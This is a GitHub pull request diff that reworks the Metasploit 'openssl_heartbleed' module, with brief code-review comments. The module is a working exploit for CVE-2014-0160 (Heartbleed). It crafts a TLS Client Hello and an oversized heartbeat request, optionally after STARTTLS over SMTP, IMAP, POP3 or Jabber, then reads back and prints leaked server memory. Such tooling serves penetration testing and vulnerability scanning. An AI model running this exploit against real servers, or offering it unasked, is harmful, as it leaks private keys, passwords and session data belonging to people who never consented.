Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Complete @Firefart's OpenSSL Heartbleed attack #3206

Merged
merged 16 commits into from
Apr 9, 2014
160 changes: 76 additions & 84 deletions modules/auxiliary/scanner/ssl/openssl_heartbleed.rb
Original file line number Diff line number Diff line change
Expand Up @@ -67,7 +67,18 @@ class Metasploit3 < Msf::Auxiliary

HANDSHAKE_RECORD_TYPE = 0x16
HEARTBEAT_RECORD_TYPE = 0x18
TLS_VERSION = 0x0302 # TLS 1.1
TLS_VERSION = {
'1.0' => 0x0301,
'1.1' => 0x0302,
'1.2' => 0x0303
}

TTLS_CALLBACKS = {
'SMTP' => :tls_smtp,
'IMAP' => :tls_imap,
'JABBER' => :tls_jabber,
'POP3' => :tls_pop3
}

def initialize
super(
Expand All @@ -78,27 +89,34 @@ def initialize
memory data in the response.
},
'Author' => [
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Neel Mehta #Google Security
Riku, Antti and Matti #Codenomicon

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Thanks @Meatballs1 , adding!

'Jared Stafford <jspenguin[at]jspenguin.org', # Original Proof of Concept. This module is based on it.
'Neel Mehta', # Vulnerability discovery
'Riku', # Vulnerability discovery
'Antti', # Vulnerability discovery
'Matti', # Vulnerability discovery
'Jared Stafford <jspenguin[at]jspenguin.org>', # Original Proof of Concept. This module is based on it.
'FiloSottile', # PoC site and tool
'Christian Mehlmauer <FireFart[at]gmail.com', # Msf module
'Christian Mehlmauer <FireFart[at]gmail.com>', # Msf module
'juan vazquez', #Msf module
'wvu' # Msf module
],
'References' =>
[
'CVE', '2014-0160',
'URL', 'http://heartbleed.com/',
'URL', 'https://github.com/FiloSottile/Heartbleed',
'URL', 'https://gist.github.com/takeshixx/10107280',
'URL', 'http://filippo.io/Heartbleed/'
['CVE', '2014-0160'],
['US-CERT-VU', '720951'],
['URL', 'https://www.us-cert.gov/ncas/alerts/TA14-098A'],
['URL', 'http://heartbleed.com/'],
['URL', 'https://github.com/FiloSottile/Heartbleed'],
['URL', 'https://gist.github.com/takeshixx/10107280'],
['URL', 'http://filippo.io/Heartbleed/']
],
'License' => MSF_LICENSE,
)

register_options(
[
Opt::RPORT(443),
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Would this module work against other SSL services, SMTP etc? The default port can stay the same even so, but maybe a note in description if so?

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

OptEnum.new('PROTOCOL', [true, 'Protocol to use with SSL', 'WEB', [ 'WEB', 'SMTP', 'IMAP', 'JABBER', 'POP3' ]])
OptEnum.new('STARTTLS', [true, 'Protocol to use with STARTTLS, None to avoid STARTTLS ', 'None', [ 'None', 'SMTP', 'IMAP', 'JABBER', 'POP3' ]]),
OptEnum.new('TLSVERSION', [true, 'TLS version to use', '1.1', ['1.0', '1.1', '1.2']])
], self.class)
end

Expand All @@ -109,9 +127,10 @@ def peer
def tls_smtp
# https://tools.ietf.org/html/rfc3207
sock.get_once
sock.put("EHLO #{rand_text_alpha(10)}\n")
sock.put("EHLO #{Rex::Text.rand_text_alpha(10)}\n")
res = sock.get_once
unless res and res =~ /STARTTLS/i

unless res && res =~ /STARTTLS/
return nil
end
sock.put("STARTTLS\n")
Expand All @@ -123,7 +142,7 @@ def tls_imap
sock.get_once
sock.put("a001 CAPABILITY\r\n")
res = sock.get_once
unless res and res =~ /STARTTLS/i
unless res && res =~ /STARTTLS/i
return nil
end
sock.put("a002 STARTTLS\r\n")
Expand All @@ -135,12 +154,12 @@ def tls_pop3
sock.get_once
sock.put("CAPA\r\n")
res = sock.get_once
if !res or res =~ /^-/
if res.nil? || res =~ /^-/
return nil
end
sock.put("STLS\r\n")
res = sock.get_once
if !res or res =~ /^-/
if res.nil? || res =~ /^-/
return nil
end
end
Expand All @@ -155,7 +174,7 @@ def tls_jabber
sock.put(msg)
res = sock.get_once
return nil if res.nil? # SSL not supported
return nil if res =~ /stream:error/ or res !~ /starttls/i
return nil if res =~ /stream:error/ || res !~ /starttls/i
msg = "<starttls xmlns='urn:ietf:params:xml:ns:xmpp-tls'/>"
sock.put(msg)
sock.get_once
Expand All @@ -164,56 +183,30 @@ def tls_jabber
def run_host(ip)
connect

case datastore['PROTOCOL']
when "WEB"
# no STARTTLS needed
when "SMTP"
print_status("Trying to start SSL via SMTP")
res = tls_smtp
if res.nil?
print_error("#{peer} - STARTTLS failed...")
return
end
when "IMAP"
print_status("Trying to start SSL via IMAP")
res = tls_imap
if res.nil?
print_error("#{peer} - STARTTLS failed...")
return
end
when "JABBER"
print_status("Trying to start SSL via JABBER")
res = tls_jabber
if res.nil?
print_error("#{peer} - STARTTLS failed...")
return
end
when "POP3"
print_status("Trying to start SSL via POP3")
res = tls_pop3
if res.nil?
print_error("#{peer} - STARTTLS failed...")
return
end
else
print_error("Unknown protocol #{datastore['PROTOCOL']}")
unless datastore['STARTTLS'] == 'None'
vprint_status("#{peer} - Trying to start SSL via #{datastore['STARTTLS']}")
res = self.send(TTLS_CALLBACKS[datastore['STARTTLS']])
if res.nil?
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

unless res

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I think that's probably ok. The Ruby guidelines only say to use unless when you see if not. I may be wrong.

vprint_error("#{peer} - STARTTLS failed...")
return
end
end

print_status("#{peer} - Sending Client Hello...")
vprint_status("#{peer} - Sending Client Hello...")
sock.put(client_hello)

server_hello = sock.get
unless server_hello.unpack("C").first == HANDSHAKE_RECORD_TYPE
print_error("#{peer} - Server Hello Not Found")
vprint_error("#{peer} - Server Hello Not Found")
return
end

print_status("#{peer} - Sending Heartbeat...")
sock.put(heartbeat)
vprint_status("#{peer} - Sending Heartbeat...")
heartbeat_length = 16384
sock.put(heartbeat(heartbeat_length))
hdr = sock.get_once(5)
if hdr.blank?
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

can hdr be nil? I assume on timeout?

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Yeah, nil is a possible return value.

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I think it even raises EOFError -_-

print_error("#{peer} - No Heartbeat response...")
vprint_error("#{peer} - No Heartbeat response...")
return
end

Expand All @@ -222,64 +215,63 @@ def run_host(ip)
version = unpacked[1] # must match the type from client_hello
len = unpacked[2]

unless type == HEARTBEAT_RECORD_TYPE and version == TLS_VERSION
print_error("#{peer} - Unexpected Heartbeat response'")
unless type == HEARTBEAT_RECORD_TYPE && version == TLS_VERSION[datastore['TLSVERSION']]
vprint_error("#{peer} - Unexpected Heartbeat response'")
disconnect
return
end

print_status("#{peer} - Heartbeat response, checking if there is data leaked...")
heartbeat_data = sock.get_once(16384) # Read the magic length...
if heartbeat_data and heartbeat_data.length > len
print_status("#{peer} - Heartbeat response with leak...")
vprint_status("#{peer} - Heartbeat response, checking if there is data leaked...")
heartbeat_data = sock.get_once(heartbeat_length) # Read the magic length...
if heartbeat_data && heartbeat_data.length > len
print_good("#{peer} - Heartbeat response with leak")
report_vuln({
:host => rhost,
:port => rport,
:name => self.name,
:refs => self.references,
:info => "Module #{self.fullname} successfully leaked info"
})
print_status("#{peer} - Printable info leaked: #{heartbeat_data.gsub(/[^[:print:]]/, '')}")
vprint_status("#{peer} - Printable info leaked: #{heartbeat_data.gsub(/[^[:print:]]/, '')}")
else
print_error("#{peer} - Looks like there isn't leaked information...")
vprint_error("#{peer} - Looks like there isn't leaked information...")
end
end

def heartbeat
def heartbeat(length)
payload = "\x01" # Heartbeat Message Type: Request (1)
payload << "\x40\x00" # Payload Length: 16384
payload << [length].pack("n")

ssl_record(HEARTBEAT_RECORD_TYPE, payload)
end

def client_hello
data = "\x01" # Handshake Type: Client Hello (1)
data << "\x00\x00\xd8" # Length: 216
data << "\x03\x02" # Version TLS 1.1
data << Rex::Text.rand_text(32) # Random
data << "\x00" # Session ID length
data << [CIPHER_SUITES.length * 2].pack("n") # Cipher Suites length (102)
data << CIPHER_SUITES.pack("n*") # Cipher Suites
data << "\x01" # Compression methods length (1)
data << "\x00" # Compression methods: null
data << "\x00\x49" # Extensions length (73)
data << "\x00\x0b" # Extension type (ec_point_formats)
data << "\x00\x04" # Extension length
data << "\x03\x00\x01\x02" # Extension data
data << "\x00\x0a" # Extension type (elliptic curves)
data << "\x00\x34" # Extension length
data << "\x00\x32\x00\x0e\x00\x0d\x00\x19\x00\x0b\x00\x0c\x00\x18\x00\x09\x00\x0a\x00\x16\x00\x17\x00\x08\x00\x06\x00\x07\x00\x14\x00\x15\x00\x04\x00\x05\x00\x12\x00\x13\x00\x01\x00\x02\x00\x03\x00\x0f\x00\x10\x00\x11" # Extension data
data << "\x00\x23" # Extension type (Sessionticket TLS)
data << "\x00\x00" # Extension length
data << "\x00\x0f" # Extension type (Heartbeat)
data << "\x00\x01" # Extension length
data << "\x01" # Extension data
hello_data = [TLS_VERSION[datastore['TLSVERSION']]].pack("n") # Version TLS
hello_data << "\x53\x43\x5b\x90" # Random generation Time (Apr 8, 2014 04:14:40.000000000)
hello_data << Rex::Text.rand_text(28) # Random
hello_data << "\x00" # Session ID length
hello_data << [CIPHER_SUITES.length * 2].pack("n") # Cipher Suites length (102)
hello_data << CIPHER_SUITES.pack("n*") # Cipher Suites
hello_data << "\x01" # Compression methods length (1)
hello_data << "\x00" # Compression methods: null

hello_data_extensions = "\x00\x0f" # Extension type (Heartbeat)
hello_data_extensions << "\x00\x01" # Extension length
hello_data_extensions << "\x01" # Extension data

hello_data << [hello_data_extensions.length].pack("n")
hello_data << hello_data_extensions

data = "\x01\x00" # Handshake Type: Client Hello (1)
data << [hello_data.length].pack("n") # Length
data << hello_data

ssl_record(HANDSHAKE_RECORD_TYPE, data)
end

def ssl_record(type, data)
record = [type, TLS_VERSION, data.length].pack('Cnn')
record = [type, TLS_VERSION[datastore['TLSVERSION']], data.length].pack('Cnn')
record << data
end
end